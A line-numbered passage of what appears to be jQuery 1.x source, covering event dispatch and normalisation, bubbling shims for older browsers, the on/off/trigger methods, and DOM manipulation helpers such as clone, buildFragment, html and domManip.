2979 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2980 event.currentTarget = matched.elem;
2981 j = 0;
2982 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2983 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2984 event.handleObj = handleObj;
2985 event.data = handleObj.data;
2986 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
2987 if (ret !== undefined) {
2988 if ((event.result = ret) === false) {
2989 event.preventDefault();
2990 event.stopPropagation()
2991 }
2992 }
2993 }
2994 }
2995 }
2996 if (special.postDispatch) {
2997 special.postDispatch.call(this, event)
2998 }
2999 return event.result
3000 },
3001 handlers: function(event, handlers) {
3002 var sel, handleObj, matches, i, handlerQueue = [],
3003 delegateCount = handlers.delegateCount,
3004 cur = event.target;
3005 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
3006 for (; cur != this; cur = cur.parentNode || this) {
3007 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
3008 matches = [];
3009 for (i = 0; i < delegateCount; i++) {
3010 handleObj = handlers[i];
3011 sel = handleObj.selector + " ";
3012 if (matches[sel] === undefined) {
3013 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
3014 }
3015 if (matches[sel]) {
3016 matches.push(handleObj)
3017 }
3018 }
3019 if (matches.length) {
3020 handlerQueue.push({
3021 elem: cur,
3022 handlers: matches
3023 })
3024 }
3025 }
3026 }
3027 }
3028 if (delegateCount < handlers.length) {
3029 handlerQueue.push({
3030 elem: this,
3031 handlers: handlers.slice(delegateCount)
3032 })
3033 }
3034 return handlerQueue
3035 },
3036 fix: function(event) {
3037 if (event[jQuery.expando]) {
3038 return event
3039 }
3040 var i, prop, copy, type = event.type,
3041 originalEvent = event,
3042 fixHook = this.fixHooks[type];
3043 if (!fixHook) {
3044 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3045 }
3046 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3047 event = new jQuery.Event(originalEvent);
3048 i = copy.length;
3049 while (i--) {
3050 prop = copy[i];
3051 event[prop] = originalEvent[prop]
3052 }
3053 if (!event.target) {
3054 event.target = originalEvent.srcElement || document
3055 }
3056 if (event.target.nodeType === 3) {
3057 event.target = event.target.parentNode
3058 }
3059 event.metaKey = !!event.metaKey;
3060 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3061 },
3062 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3063 fixHooks: {},
3064 keyHooks: {
3065 props: "char charCode key keyCode".split(" "),
3066 filter: function(event, original) {
3067 if (event.which == null) {
3068 event.which = original.charCode != null ? original.charCode : original.keyCode
3069 }
3070 return event
3071 }
3072 },
3073 mouseHooks: {
3074 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3075 filter: function(event, original) {
3076 var body, eventDoc, doc, button = original.button,
3077 fromElement = original.fromElement;
3078 if (event.pageX == null && original.clientX != null) {
3079 eventDoc = event.target.ownerDocument || document;
3080 doc = eventDoc.documentElement;
3081 body = eventDoc.body;
3082 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3083 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3084 }
3085 if (!event.relatedTarget && fromElement) {
3086 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3087 }
3088 if (!event.which && button !== undefined) {
3089 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3090 }
3091 return event
3092 }
3093 },
3094 special: {
3095 load: {
3096 noBubble: true
3097 },
3098 focus: {
3099 trigger: function() {
3100 if (this !== safeActiveElement() && this.focus) {
3101 try {
3102 this.focus();
3103 return false
3104 } catch (e) {}
3105 }
3106 },
3107 delegateType: "focusin"
3108 },
3109 blur: {
3110 trigger: function() {
3111 if (this === safeActiveElement() && this.blur) {
3112 this.blur();
3113 return false
3114 }
3115 },
3116 delegateType: "focusout"
3117 },
3118 click: {
3119 trigger: function() {
3120 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3121 this.click();
3122 return false
3123 }
3124 },
3125 _default: function(event) {
3126 return jQuery.nodeName(event.target, "a")
3127 }
3128 },
3129 beforeunload: {
3130 postDispatch: function(event) {
3131 if (event.result !== undefined && event.originalEvent) {
3132 event.originalEvent.returnValue = event.result
3133 }
3134 }
3135 }
3136 },
3137 simulate: function(type, elem, event, bubble) {
3138 var e = jQuery.extend(new jQuery.Event(), event, {
3139 type: type,
3140 isSimulated: true,
3141 originalEvent: {}
3142 });
3143 if (bubble) {
3144 jQuery.event.trigger(e, null, elem)
3145 } else {
3146 jQuery.event.dispatch.call(elem, e)
3147 }
3148 if (e.isDefaultPrevented()) {
3149 event.preventDefault()
3150 }
3151 }
3152 };
3153 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3154 if (elem.removeEventListener) {
3155 elem.removeEventListener(type, handle, false)
3156 }
3157 } : function(elem, type, handle) {
3158 var name = "on" + type;
3159 if (elem.detachEvent) {
3160 if (typeof elem[name] === strundefined) {
3161 elem[name] = null
3162 }
3163 elem.detachEvent(name, handle)
3164 }
3165 };
3166 jQuery.Event = function(src, props) {
3167 if (!(this instanceof jQuery.Event)) {
3168 return new jQuery.Event(src, props)
3169 }
3170 if (src && src.type) {
3171 this.originalEvent = src;
3172 this.type = src.type;
3173 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3174 } else {
3175 this.type = src
3176 }
3177 if (props) {
3178 jQuery.extend(this, props)
3179 }
3180 this.timeStamp = src && src.timeStamp || jQuery.now();
3181 this[jQuery.expando] = true
3182 };
3183 jQuery.Event.prototype = {
3184 isDefaultPrevented: returnFalse,
3185 isPropagationStopped: returnFalse,
3186 isImmediatePropagationStopped: returnFalse,
3187 preventDefault: function() {
3188 var e = this.originalEvent;
3189 this.isDefaultPrevented = returnTrue;
3190 if (!e) {
3191 return
3192 }
3193 if (e.preventDefault) {
3194 e.preventDefault()
3195 } else {
3196 e.returnValue = false
3197 }
3198 },
3199 stopPropagation: function() {
3200 var e = this.originalEvent;
3201 this.isPropagationStopped = returnTrue;
3202 if (!e) {
3203 return
3204 }
3205 if (e.stopPropagation) {
3206 e.stopPropagation()
3207 }
3208 e.cancelBubble = true
3209 },
3210 stopImmediatePropagation: function() {
3211 var e = this.originalEvent;
3212 this.isImmediatePropagationStopped = returnTrue;
3213 if (e && e.stopImmediatePropagation) {
3214 e.stopImmediatePropagation()
3215 }
3216 this.stopPropagation()
3217 }
3218 };
3219 jQuery.each({
3220 mouseenter: "mouseover",
3221 mouseleave: "mouseout",
3222 pointerenter: "pointerover",
3223 pointerleave: "pointerout"
3224 }, function(orig, fix) {
3225 jQuery.event.special[orig] = {
3226 delegateType: fix,
3227 bindType: fix,
3228 handle: function(event) {
3229 var ret, target = this,
3230 related = event.relatedTarget,
3231 handleObj = event.handleObj;
3232 if (!related || (related !== target && !jQuery.contains(target, related))) {
3233 event.type = handleObj.origType;
3234 ret = handleObj.handler.apply(this, arguments);
3235 event.type = fix
3236 }
3237 return ret
3238 }
3239 }
3240 });
3241 if (!support.submitBubbles) {
3242 jQuery.event.special.submit = {
3243 setup: function() {
3244 if (jQuery.nodeName(this, "form")) {
3245 return false
3246 }
3247 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3248 var elem = e.target,
3249 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3250 if (form && !jQuery._data(form, "submitBubbles")) {
3251 jQuery.event.add(form, "submit._submit", function(event) {
3252 event._submit_bubble = true
3253 });
3254 jQuery._data(form, "submitBubbles", true)
3255 }
3256 })
3257 },
3258 postDispatch: function(event) {
3259 if (event._submit_bubble) {
3260 delete event._submit_bubble;
3261 if (this.parentNode && !event.isTrigger) {
3262 jQuery.event.simulate("submit", this.parentNode, event, true)
3263 }
3264 }
3265 },
3266 teardown: function() {
3267 if (jQuery.nodeName(this, "form")) {
3268 return false
3269 }
3270 jQuery.event.remove(this, "._submit")
3271 }
3272 }
3273 }
3274 if (!support.changeBubbles) {
3275 jQuery.event.special.change = {
3276 setup: function() {
3277 if (rformElems.test(this.nodeName)) {
3278 if (this.type === "checkbox" || this.type === "radio") {
3279 jQuery.event.add(this, "propertychange._change", function(event) {
3280 if (event.originalEvent.propertyName === "checked") {
3281 this._just_changed = true
3282 }
3283 });
3284 jQuery.event.add(this, "click._change", function(event) {
3285 if (this._just_changed && !event.isTrigger) {
3286 this._just_changed = false
3287 }
3288 jQuery.event.simulate("change", this, event, true)
3289 })
3290 }
3291 return false
3292 }
3293 jQuery.event.add(this, "beforeactivate._change", function(e) {
3294 var elem = e.target;
3295 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3296 jQuery.event.add(elem, "change._change", function(event) {
3297 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3298 jQuery.event.simulate("change", this.parentNode, event, true)
3299 }
3300 });
3301 jQuery._data(elem, "changeBubbles", true)
3302 }
3303 })
3304 },
3305 handle: function(event) {
3306 var elem = event.target;
3307 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3308 return event.handleObj.handler.apply(this, arguments)
3309 }
3310 },
3311 teardown: function() {
3312 jQuery.event.remove(this, "._change");
3313 return !rformElems.test(this.nodeName)
3314 }
3315 }
3316 }
3317 if (!support.focusinBubbles) {
3318 jQuery.each({
3319 focus: "focusin",
3320 blur: "focusout"
3321 }, function(orig, fix) {
3322 var handler = function(event) {
3323 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3324 };
3325 jQuery.event.special[fix] = {
3326 setup: function() {
3327 var doc = this.ownerDocument || this,
3328 attaches = jQuery._data(doc, fix);
3329 if (!attaches) {
3330 doc.addEventListener(orig, handler, true)
3331 }
3332 jQuery._data(doc, fix, (attaches || 0) + 1)
3333 },
3334 teardown: function() {
3335 var doc = this.ownerDocument || this,
3336 attaches = jQuery._data(doc, fix) - 1;
3337 if (!attaches) {
3338 doc.removeEventListener(orig, handler, true);
3339 jQuery._removeData(doc, fix)
3340 } else {
3341 jQuery._data(doc, fix, attaches)
3342 }
3343 }
3344 }
3345 })
3346 }
3347 jQuery.fn.extend({
3348 on: function(types, selector, data, fn, one) {
3349 var type, origFn;
3350 if (typeof types === "object") {
3351 if (typeof selector !== "string") {
3352 data = data || selector;
3353 selector = undefined
3354 }
3355 for (type in types) {
3356 this.on(type, selector, data, types[type], one)
3357 }
3358 return this
3359 }
3360 if (data == null && fn == null) {
3361 fn = selector;
3362 data = selector = undefined
3363 } else if (fn == null) {
3364 if (typeof selector === "string") {
3365 fn = data;
3366 data = undefined
3367 } else {
3368 fn = data;
3369 data = selector;
3370 selector = undefined
3371 }
3372 }
3373 if (fn === false) {
3374 fn = returnFalse
3375 } else if (!fn) {
3376 return this
3377 }
3378 if (one === 1) {
3379 origFn = fn;
3380 fn = function(event) {
3381 jQuery().off(event);
3382 return origFn.apply(this, arguments)
3383 };
3384 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3385 }
3386 return this.each(function() {
3387 jQuery.event.add(this, types, fn, data, selector)
3388 })
3389 },
3390 one: function(types, selector, data, fn) {
3391 return this.on(types, selector, data, fn, 1)
3392 },
3393 off: function(types, selector, fn) {
3394 var handleObj, type;
3395 if (types && types.preventDefault && types.handleObj) {
3396 handleObj = types.handleObj;
3397 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3398 return this
3399 }
3400 if (typeof types === "object") {
3401 for (type in types) {
3402 this.off(type, selector, types[type])
3403 }
3404 return this
3405 }
3406 if (selector === false || typeof selector === "function") {
3407 fn = selector;
3408 selector = undefined
3409 }
3410 if (fn === false) {
3411 fn = returnFalse
3412 }
3413 return this.each(function() {
3414 jQuery.event.remove(this, types, fn, selector)
3415 })
3416 },
3417 trigger: function(type, data) {
3418 return this.each(function() {
3419 jQuery.event.trigger(type, data, this)
3420 })
3421 },
3422 triggerHandler: function(type, data) {
3423 var elem = this[0];
3424 if (elem) {
3425 return jQuery.event.trigger(type, data, elem, true)
3426 }
3427 }
3428 });
3429
3430 function createSafeFragment(document) {
3431 var list = nodeNames.split("|"),
3432 safeFrag = document.createDocumentFragment();
3433 if (safeFrag.createElement) {
3434 while (list.length) {
3435 safeFrag.createElement(list.pop())
3436 }
3437 }
3438 return safeFrag
3439 }
3440 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3441 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3442 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3443 rleadingWhitespace = /^\s+/,
3444 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3445 rtagName = /<([\w:]+)/,
3446 rtbody = /<tbody/i,
3447 rhtml = /<|&#?\w+;/,
3448 rnoInnerhtml = /<(?:script|style|link)/i,
3449 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3450 rscriptType = /^$|\/(?:java|ecma)script/i,
3451 rscriptTypeMasked = /^true\/(.*)/,
3452 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3453 wrapMap = {
3454 option: [1, "<select multiple='multiple'>", "</select>"],
3455 legend: [1, "<fieldset>", "</fieldset>"],
3456 area: [1, "<map>", "</map>"],
3457 param: [1, "<object>", "</object>"],
3458 thead: [1, "<table>", "</table>"],
3459 tr: [2, "<table><tbody>", "</tbody></table>"],
3460 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3461 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3462 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3463 },
3464 safeFragment = createSafeFragment(document),
3465 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3466 wrapMap.optgroup = wrapMap.option;
3467 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3468 wrapMap.th = wrapMap.td;
3469
3470 function getAll(context, tag) {
3471 var elems, elem, i = 0,
3472 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3473 if (!found) {
3474 for (found = [], elems = context.childNodes || context;
3475 (elem = elems[i]) != null; i++) {
3476 if (!tag || jQuery.nodeName(elem, tag)) {
3477 found.push(elem)
3478 } else {
3479 jQuery.merge(found, getAll(elem, tag))
3480 }
3481 }
3482 }
3483 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3484 }
3485
3486 function fixDefaultChecked(elem) {
3487 if (rcheckableType.test(elem.type)) {
3488 elem.defaultChecked = elem.checked
3489 }
3490 }
3491
3492 function manipulationTarget(elem, content) {
3493 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3494 }
3495
3496 function disableScript(elem) {
3497 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3498 return elem
3499 }
3500
3501 function restoreScript(elem) {
3502 var match = rscriptTypeMasked.exec(elem.type);
3503 if (match) {
3504 elem.type = match[1]
3505 } else {
3506 elem.removeAttribute("type")
3507 }
3508 return elem
3509 }
3510
3511 function setGlobalEval(elems, refElements) {
3512 var elem, i = 0;
3513 for (;
3514 (elem = elems[i]) != null; i++) {
3515 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3516 }
3517 }
3518
3519 function cloneCopyEvent(src, dest) {
3520 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3521 return
3522 }
3523 var type, i, l, oldData = jQuery._data(src),
3524 curData = jQuery._data(dest, oldData),
3525 events = oldData.events;
3526 if (events) {
3527 delete curData.handle;
3528 curData.events = {};
3529 for (type in events) {
3530 for (i = 0, l = events[type].length; i < l; i++) {
3531 jQuery.event.add(dest, type, events[type][i])
3532 }
3533 }
3534 }
3535 if (curData.data) {
3536 curData.data = jQuery.extend({}, curData.data)
3537 }
3538 }
3539
3540 function fixCloneNodeIssues(src, dest) {
3541 var nodeName, e, data;
3542 if (dest.nodeType !== 1) {
3543 return
3544 }
3545 nodeName = dest.nodeName.toLowerCase();
3546 if (!support.noCloneEvent && dest[jQuery.expando]) {
3547 data = jQuery._data(dest);
3548 for (e in data.events) {
3549 jQuery.removeEvent(dest, e, data.handle)
3550 }
3551 dest.removeAttribute(jQuery.expando)
3552 }
3553 if (nodeName === "script" && dest.text !== src.text) {
3554 disableScript(dest).text = src.text;
3555 restoreScript(dest)
3556 } else if (nodeName === "object") {
3557 if (dest.parentNode) {
3558 dest.outerHTML = src.outerHTML
3559 }
3560 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3561 dest.innerHTML = src.innerHTML
3562 }
3563 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3564 dest.defaultChecked = dest.checked = src.checked;
3565 if (dest.value !== src.value) {
3566 dest.value = src.value
3567 }
3568 } else if (nodeName === "option") {
3569 dest.defaultSelected = dest.selected = src.defaultSelected
3570 } else if (nodeName === "input" || nodeName === "textarea") {
3571 dest.defaultValue = src.defaultValue
3572 }
3573 }
3574 jQuery.extend({
3575 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3576 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3577 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3578 clone = elem.cloneNode(true)
3579 } else {
3580 fragmentDiv.innerHTML = elem.outerHTML;
3581 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3582 }
3583 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3584 destElements = getAll(clone);
3585 srcElements = getAll(elem);
3586 for (i = 0;
3587 (node = srcElements[i]) != null; ++i) {
3588 if (destElements[i]) {
3589 fixCloneNodeIssues(node, destElements[i])
3590 }
3591 }
3592 }
3593 if (dataAndEvents) {
3594 if (deepDataAndEvents) {
3595 srcElements = srcElements || getAll(elem);
3596 destElements = destElements || getAll(clone);
3597 for (i = 0;
3598 (node = srcElements[i]) != null; i++) {
3599 cloneCopyEvent(node, destElements[i])
3600 }
3601 } else {
3602 cloneCopyEvent(elem, clone)
3603 }
3604 }
3605 destElements = getAll(clone, "script");
3606 if (destElements.length > 0) {
3607 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3608 }
3609 destElements = srcElements = node = null;
3610 return clone
3611 },
3612 buildFragment: function(elems, context, scripts, selection) {
3613 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3614 safe = createSafeFragment(context),
3615 nodes = [],
3616 i = 0;
3617 for (; i < l; i++) {
3618 elem = elems[i];
3619 if (elem || elem === 0) {
3620 if (jQuery.type(elem) === "object") {
3621 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3622 } else if (!rhtml.test(elem)) {
3623 nodes.push(context.createTextNode(elem))
3624 } else {
3625 tmp = tmp || safe.appendChild(context.createElement("div"));
3626 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3627 wrap = wrapMap[tag] || wrapMap._default;
3628 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3629 j = wrap[0];
3630 while (j--) {
3631 tmp = tmp.lastChild
3632 }
3633 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3634 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3635 }
3636 if (!support.tbody) {
3637 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3638 j = elem && elem.childNodes.length;
3639 while (j--) {
3640 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3641 elem.removeChild(tbody)
3642 }
3643 }
3644 }
3645 jQuery.merge(nodes, tmp.childNodes);
3646 tmp.textContent = "";
3647 while (tmp.firstChild) {
3648 tmp.removeChild(tmp.firstChild)
3649 }
3650 tmp = safe.lastChild
3651 }
3652 }
3653 }
3654 if (tmp) {
3655 safe.removeChild(tmp)
3656 }
3657 if (!support.appendChecked) {
3658 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3659 }
3660 i = 0;
3661 while ((elem = nodes[i++])) {
3662 if (selection && jQuery.inArray(elem, selection) !== -1) {
3663 continue
3664 }
3665 contains = jQuery.contains(elem.ownerDocument, elem);
3666 tmp = getAll(safe.appendChild(elem), "script");
3667 if (contains) {
3668 setGlobalEval(tmp)
3669 }
3670 if (scripts) {
3671 j = 0;
3672 while ((elem = tmp[j++])) {
3673 if (rscriptType.test(elem.type || "")) {
3674 scripts.push(elem)
3675 }
3676 }
3677 }
3678 }
3679 tmp = null;
3680 return safe
3681 },
3682 cleanData: function(elems, acceptData) {
3683 var elem, type, id, data, i = 0,
3684 internalKey = jQuery.expando,
3685 cache = jQuery.cache,
3686 deleteExpando = support.deleteExpando,
3687 special = jQuery.event.special;
3688 for (;
3689 (elem = elems[i]) != null; i++) {
3690 if (acceptData || jQuery.acceptData(elem)) {
3691 id = elem[internalKey];
3692 data = id && cache[id];
3693 if (data) {
3694 if (data.events) {
3695 for (type in data.events) {
3696 if (special[type]) {
3697 jQuery.event.remove(elem, type)
3698 } else {
3699 jQuery.removeEvent(elem, type, data.handle)
3700 }
3701 }
3702 }
3703 if (cache[id]) {
3704 delete cache[id];
3705 if (deleteExpando) {
3706 delete elem[internalKey]
3707 } else if (typeof elem.removeAttribute !== strundefined) {
3708 elem.removeAttribute(internalKey)
3709 } else {
3710 elem[internalKey] = null
3711 }
3712 deletedIds.push(id)
3713 }
3714 }
3715 }
3716 }
3717 }
3718 });
3719 jQuery.fn.extend({
3720 text: function(value) {
3721 return access(this, function(value) {
3722 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3723 }, null, value, arguments.length)
3724 },
3725 append: function() {
3726 return this.domManip(arguments, function(elem) {
3727 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3728 var target = manipulationTarget(this, elem);
3729 target.appendChild(elem)
3730 }
3731 })
3732 },
3733 prepend: function() {
3734 return this.domManip(arguments, function(elem) {
3735 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3736 var target = manipulationTarget(this, elem);
3737 target.insertBefore(elem, target.firstChild)
3738 }
3739 })
3740 },
3741 before: function() {
3742 return this.domManip(arguments, function(elem) {
3743 if (this.parentNode) {
3744 this.parentNode.insertBefore(elem, this)
3745 }
3746 })
3747 },
3748 after: function() {
3749 return this.domManip(arguments, function(elem) {
3750 if (this.parentNode) {
3751 this.parentNode.insertBefore(elem, this.nextSibling)
3752 }
3753 })
3754 },
3755 remove: function(selector, keepData) {
3756 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3757 i = 0;
3758 for (;
3759 (elem = elems[i]) != null; i++) {
3760 if (!keepData && elem.nodeType === 1) {
3761 jQuery.cleanData(getAll(elem))
3762 }
3763 if (elem.parentNode) {
3764 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3765 setGlobalEval(getAll(elem, "script"))
3766 }
3767 elem.parentNode.removeChild(elem)
3768 }
3769 }
3770 return this
3771 },
3772 empty: function() {
3773 var elem, i = 0;
3774 for (;
3775 (elem = this[i]) != null; i++) {
3776 if (elem.nodeType === 1) {
3777 jQuery.cleanData(getAll(elem, false))
3778 }
3779 while (elem.firstChild) {
3780 elem.removeChild(elem.firstChild)
3781 }
3782 if (elem.options && jQuery.nodeName(elem, "select")) {
3783 elem.options.length = 0
3784 }
3785 }
3786 return this
3787 },
3788 clone: function(dataAndEvents, deepDataAndEvents) {
3789 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3790 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3791 return this.map(function() {
3792 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3793 })
3794 },
3795 html: function(value) {
3796 return access(this, function(value) {
3797 var elem = this[0] || {},
3798 i = 0,
3799 l = this.length;
3800 if (value === undefined) {
3801 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3802 }
3803 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3804 value = value.replace(rxhtmlTag, "<$1></$2>");
3805 try {
3806 for (; i < l; i++) {
3807 elem = this[i] || {};
3808 if (elem.nodeType === 1) {
3809 jQuery.cleanData(getAll(elem, false));
3810 elem.innerHTML = value
3811 }
3812 }
3813 elem = 0
3814 } catch (e) {}
3815 }
3816 if (elem) {
3817 this.empty().append(value)
3818 }
3819 }, null, value, arguments.length)
3820 },
3821 replaceWith: function() {
3822 var arg = arguments[0];
3823 this.domManip(arguments, function(elem) {
3824 arg = this.parentNode;
3825 jQuery.cleanData(getAll(this));
3826 if (arg) {
3827 arg.replaceChild(elem, this)
3828 }
3829 });
3830 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3831 },
3832 detach: function(selector) {
3833 return this.remove(selector, true)
3834 },
3835 domManip: function(args, callback) {
3836 args = concat.apply([], args);
3837 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3838 l = this.length,
3839 set = this,
3840 iNoClone = l - 1,
3841 value = args[0],
3842 isFunction = jQuery.isFunction(value);
3843 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3844 return this.each(function(index) {
3845 var self = set.eq(index);
3846 if (isFunction) {
3847 args[0] = value.call(this, index, self.html())
3848 }
3849 self.domManip(args, callback)
3850 })
3851 }
3852 if (l) {
3853 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3854 first = fragment.firstChild;
3855 if (fragment.childNodes.length === 1) {
3856 fragment = first
3857 }
3858 if (first) {
3859 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3860 hasScripts = scripts.length;
3861 for (; i < l; i++) {
3862 node = fragment;
3863 if (i !== iNoClone) {
3864 node = jQuery.clone(node, true, true);
3865 if (hasScripts) {
3866 jQuery.merge(scripts, getAll(node, "script"))
3867 }
3868 }
3869 callback.call(this[i], node, i)
3870 }
3871 if (hasScripts) {
3872 doc = scripts[scripts.length - 1].ownerDocument;
3873 jQuery.map(scripts, restoreScript);
3874 for (i = 0; i < hasScripts; i++) {
3875 node = scripts[i];
3876 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3877 if (node.src) {
3878 if (jQuery._evalUrl) {
3879 jQuery._evalUrl(node.src)
3880 }
3881 } else {
3882 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3883 }
3884 }
3885 }
3886 }
3887 fragment = first = null
3888 }
3889 }
3890 return this
3891 }
3892 });
3893 jQuery.each({
3894 appendTo: "append",
3895 prependTo: "prepend",
3896 insertBefore: "before",
3897 insertAfter: "after",
3898 replaceAll: "replaceWith"
3899 }, function(name, original) {
3900 jQuery.fn[name] = function(selector) {
3901 var elems, i = 0,
3902 ret = [],
3903 insert = jQuery(selector),
3904 last = insert.length - 1;
3905 for (; i <= last; i++) {
3906 elems = i === last ? this : this.clone(true);
3907 jQuery(insert[i])[original](elems);
3908 push.apply(ret, elems.get())
3909 }
3910 return this.pushStack(ret)
3911 }
3912 });
3913 var iframe, elemdisplay = {};
3914
3915 function actualDisplay(name, doc) {
3916 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3917 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3918 elem.detach();
3919 return display
3920 }
3921
3922 function defaultDisplay(nodeName) {
3923 var doc = document,
3924 display = elemdisplay[nodeName];
3925 if (!display) {
3926 display = actualDisplay(nodeName, doc);
3927 if (display === "none" || !display) {
3928 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
3929 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3930 doc.write();
3931 doc.close();
3932 display = actualDisplay(nodeName, doc);
3933 iframe.detach()
3934 }
3935 elemdisplay[nodeName] = display
3936 }
3937 return display
3938 }(function() {
3939 var shrinkWrapBlocksVal;
3940 support.shrinkWrapBlocks = function() {
3941 if (shrinkWrapBlocksVal != null) {
3942 return shrinkWrapBlocksVal
3943 }
3944 shrinkWrapBlocksVal = false;
3945 var div, body, container;
3946 body = document.getElementsByTagName("body")[0];
3947 if (!body || !body.style) {
3948 return
3949 }
3950 div = document.createElement("div");
3951 container = document.createElement("div");
